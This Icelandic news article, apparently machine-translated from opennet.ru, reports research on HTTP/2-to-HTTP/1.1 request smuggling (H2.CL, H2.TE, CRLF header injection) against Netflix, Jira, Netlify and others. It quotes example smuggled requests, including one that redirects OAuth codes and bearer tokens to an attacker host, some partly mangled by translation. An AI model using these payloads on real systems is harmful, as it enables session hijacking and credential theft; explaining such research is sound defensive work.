Ný árás á framhlið bakendakerfi sem gerir þér kleift að fleygja þér inn í beiðnir

Vefkerfi þar sem framendinn tekur við tengingum í gegnum HTTP/2 og sendir þær til bakendans um HTTP/1.1 hafa orðið fyrir nýju afbrigði af „HTTP Request Smuggling“ árásinni, sem gerir, með því að senda sérhannaðar beiðnir viðskiptavina, að fleygjast inn í innihald beiðna frá öðrum notendum sem eru unnar í sama flæði milli framenda og bakenda. Árásina er hægt að nota til að setja skaðlegan JavaScript kóða inn í lotu með lögmætri vefsíðu, framhjá aðgangstakmarkunarkerfum og stöðva auðkenningarfæribreytur.

Vandamálið hefur áhrif á umboðsaðila á vefnum, álagsjafnara, vefhraðlara, efnisafhendingarkerfi og aðrar stillingar þar sem beiðnum er vísað frá framhlið til bakenda. Höfundur rannsóknarinnar sýndi fram á möguleikann á að ráðast á kerfi Netflix, Verizon, Bitbucket, Netlify CDN og Atlassian og fékk 56 þúsund dollara í verðlaunaforrit fyrir að greina veikleika. Vandamálið hefur einnig verið staðfest í F5 Networks vörum. Vandamálið hefur að hluta áhrif á mod_proxy á Apache http þjóninum (CVE-2021-33193), búist er við lagfæringu í útgáfu 2.4.49 (hönnuðir fengu tilkynningu um vandamálið í byrjun maí og fengu 3 mánuði til að laga það). Í nginx var möguleikinn á að tilgreina „Content-Length“ og „Transfer-Encoding“ hausana samtímis í síðustu útgáfu (1.21.1). Árásarverkfæri eru nú þegar innifalin í Burp verkfærakistunni og eru fáanleg í formi Turbo Intruder viðbótarinnar.

Meginreglan um notkun nýju aðferðarinnar við að fleygja beiðnum inn í umferð er svipuð og varnarleysið sem sami rannsakandi greindi frá fyrir tveimur árum, en takmarkast við framenda sem taka við beiðnum yfir HTTP/1.1. Við skulum muna að í framenda-bakendakerfinu eru beiðnir viðskiptavina mótteknar af viðbótarhnút - framendanum, sem kemur á langlífri TCP-tengingu við bakendann, sem vinnur beint úr beiðnum. Í gegnum þessa sameiginlegu tengingu eru venjulega sendar beiðnir frá mismunandi notendum, sem fylgja keðjunni hver á eftir annarri, aðskilin með HTTP samskiptareglum.

Klassíska „HTTP Request Smuggling“ árásin var byggð á þeirri staðreynd að framenda og bakendarnir túlka notkun HTTP hausa „Content-Length“ (ákvarðar heildarstærð gagna í beiðninni) og „Transfer-Encoding: chunked“ (leyfir gögn sem á að flytja í hlutum) á annan hátt. . Til dæmis, ef framhliðin styður aðeins „Content-Length“ en hunsar „Transfer-Encoding: chunked“, þá gæti árásarmaður sent beiðni sem inniheldur bæði „Content-Length“ og „Transfer-Encoding: chunked“ hausana, en stærðin er "Content-Length" passar ekki við stærð keðjunnar. Í þessu tilviki mun framhliðin vinna úr og beina beiðninni í samræmi við „Content-Length“ og bakendinn mun bíða eftir að blokkuninni sé lokið sem byggist á „Transfer-Encoding: chunked“ og það sem eftir er af beiðni árásarmannsins mun vera í upphafi beiðni einhvers annars sem send er næst.

Ólíkt textasamskiptareglunum HTTP/1.1, sem er flokkuð á línustigi, er HTTP/2 tvöfaldur samskiptaregla og vinnur með gagnablokkum af fyrirfram tilgreindri stærð. Hins vegar notar HTTP/2 gervihausa sem samsvara venjulegum HTTP hausum. Ef um er að ræða samskipti við bakendann í gegnum HTTP/1.1 samskiptareglur, þýðir framendinn þessa gervihausa yfir í svipaða HTTP hausa HTTP/1.1. Vandamálið er að bakendinn tekur ákvarðanir um þáttun straumsins út frá HTTP hausunum sem framendinn stillir, án þess að hafa upplýsingar um færibreytur upprunalegu beiðninnar.

Sérstaklega er hægt að senda gildin „content-length“ og „transfer-encoding“ í formi gervihausa, þrátt fyrir að þau séu ekki notuð í HTTP/2, þar sem stærð allra gagna er ákvörðuð á sérstöku sviði. Hins vegar, meðan á því stendur að breyta HTTP/2 beiðni í HTTP/1.1, eru þessir hausar fluttir yfir og geta ruglað stuðninginn. Það eru tvö meginárásarafbrigði: H2.TE og H2.CL, þar sem bakendinn er afvegaleiddur með röngum flutningskóðunar- eða innihaldslengdargildi sem samsvarar ekki raunverulegri stærð beiðninnar sem móttekin er af framendanum í gegnum HTTP/2 samskiptareglur.

Ný árás á framhlið bakendakerfi sem gerir þér kleift að fleygja þér inn í beiðnir

Dæmi um H2.CL árás er að tilgreina ranga stærð í innihaldslengd gervihaus þegar HTTP/2 beiðni er send til Netflix. Þessi beiðni leiðir til þess að svipaður HTTP haus Content-Length er bætt við þegar aðgangur er að bakendanum í gegnum HTTP/1.1, en þar sem stærðin í Content-Length er tilgreind minni en sú raunverulega, er hluti af gögnunum í skottinu unnin sem upphaf næstu beiðni.

Til dæmis, biðja um HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Mun leiða til þess að beiðni verður send til bakendans: POST /n HTTP/1.1 Gestgjafi: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Þar sem Content-Length hefur gildið 4, mun bakendinn aðeins samþykkja „abcd“ sem meginmál beiðninnar og restin af „GET /n HTTP/1.1...“ verður unnin sem upphaf síðari beiðni tengt öðrum notanda. Í samræmi við það mun straumurinn verða ósamstilltur og til að bregðast við næstu beiðni verður niðurstaða úrvinnslu dummybeiðnarinnar gefin út. Í tilviki Netflix leiddi það til þess að viðskiptavinurinn skilaði svarinu „Staðsetning: https://02.rs?x.netflix.com/n“ að tilgreina þriðja aðila gestgjafa í „Host:“ hausnum í dummy beiðni. leyfilegt að senda handahófskennt efni til viðskiptavinarins, þar á meðal Keyra JavaScript kóðann þinn í tengslum við Netflix síðuna.

Annar árásarvalkosturinn (H2.TE) felur í sér að skipta um „Transfer-Encoding: chunked“ hausinn. Notkun flutningskóðunar gervihaussins í HTTP/2 er bönnuð samkvæmt forskriftinni og er mælt fyrir um að farið sé með beiðnir með honum sem rangar. Þrátt fyrir þetta taka sumar framendaútfærslur ekki tillit til þessarar kröfu og leyfa notkun á flutningskóðunargervihaus í HTTP/2, sem er breytt í svipaðan HTTP haus. Ef það er „Transfer-Encoding“ haus getur bakendinn tekið það í meiri forgang og flokkað gögnin stykki fyrir stykki í „chunked“ ham með því að nota blokkir af mismunandi stærðum á sniðinu „{stærð}\r\n{blokk }\r\n{stærð} \r\n{blokk}\r\n0", þrátt fyrir upphaflega skiptingu eftir heildarstærð.

Tilvist slíks bils var sýnd með dæmi Regin. Vandamálið varðaði auðkenningargáttina og vefumsjónarkerfið, sem einnig er notað á síðum eins og Huffington Post og Engadget. Til dæmis, beiðni viðskiptavinar í gegnum HTTP/2: :aðferð POST :slóð /identitfy/XUI :authority id.b2b.oath.com flutningskóðun klumpur 0 GET /úps HTTP/1.1 Gestgjafi: psres.net Efnislengd: 10 x=

Leiddi til þess að HTTP/1.1 beiðni var send til bakendans: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: klumpur 0 GET /úps HTTP/1.1 Host: psres. nettó Innihald- Lengd: 10x=

Bakendinn, aftur á móti, hunsaði „Content-Length“ hausinn og framkvæmdi inn-straumsskiptingu byggða á „Transfer-Encoding: chunked“. Í reynd gerði árásin kleift að beina beiðnum notenda á vefsíðu þeirra, þar á meðal að stöðva beiðnir tengdar OAuth auðkenningu, þar sem færibreytur voru sýndar í Referer hausnum, auk þess að líkja eftir auðkenningarlotu og kveikja á kerfi notandans til að senda skilríki til gestgjafa árásarmannsins. FÁ /b2blanding/show/oops HTTP/1.1 Gestgjafi: psres.net Tilvísun: https://id.b2b.oath.com/?…&code=secret FÁ / HTTP/1.1 Gestgjafi: psres.net Heimild: Handhafi eyJhcGwiOiJIUzI1Gi1sInR6cCI6…

Til að ráðast á HTTP/2 útfærslur sem leyfa ekki að tilgreina flutningskóðunargervihausinn, hefur önnur aðferð verið lögð til sem felur í sér að skipta um „Transfer-encoding“ hausinn með því að tengja hann við aðra gervihausa aðskilda með nýlínustaf ( þegar það er breytt í HTTP/1.1 í þessu tilviki býr til tvo aðskilda HTTP hausa).

Til dæmis voru Atlassian Jira og Netlify CDN (notuð til að þjóna Mozilla upphafssíðunni í Firefox) fyrir áhrifum af þessu vandamáli. Nánar tiltekið, HTTP/2 beiðnin :method POST :path / :authority start.mozilla.org foo b\r\n flutningskóðun: klumpur 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-lén\r\n Efnislengd: 5\r\n \r\nx=

leiddi til þess að HTTP/1.1 POST / HTTP/1.1 beiðni var send til bakendans\r\n Gestgjafi: start.mozilla.org\r\n Foo: b\r\n Flutningskóðun: klumpur\r\n Efnislengd : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Gestgjafi: evil-netlify-lén\r\n Efnislengd: 5\r\n \r \nx=

Annar valkostur til að skipta um „Transfer-Encoding“ hausinn var að festa hann við nafn annars gervihaus eða línu með beiðniaðferð. Til dæmis, þegar þú opnar Atlassian Jira, olli gervihausheitinu "foo: bar\r\ntransfer-encoding" með gildinu "chunked" til þess að HTTP hausunum "foo: bar" og "transfer-encoding: chunked" var bætt við , og tilgreina gervihaus ":method" gildi "GET / HTTP/1.1\r\nTransfer-encoding: chunked" var þýtt á "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Rannsakandinn sem greindi vandamálið lagði einnig fram beiðni um jarðgangatækni til að ráðast á framenda, þar sem hvert IP-tala kemur á sérstakri tengingu við bakendann og umferð frá mismunandi notendum er ekki blönduð. Fyrirhuguð tækni leyfir ekki að trufla beiðnir frá öðrum notendum, en gerir það mögulegt að eitra fyrir sameiginlegu skyndiminni sem hefur áhrif á vinnslu annarra beiðna og gerir kleift að skipta út innri HTTP hausum sem notaðir eru til að flytja þjónustuupplýsingar frá framenda til bakenda ( til dæmis, þegar auðkenning er á framendahliðinni í Slíkir hausar geta sent upplýsingar um núverandi notanda til bakendans). Sem dæmi um að beita aðferðinni í reynd, með því að nota skyndiminni eitrun, var hægt að ná stjórn á síðum í Bitbucket þjónustunni.

Heimild: opennet.ru

Bæta við athugasemd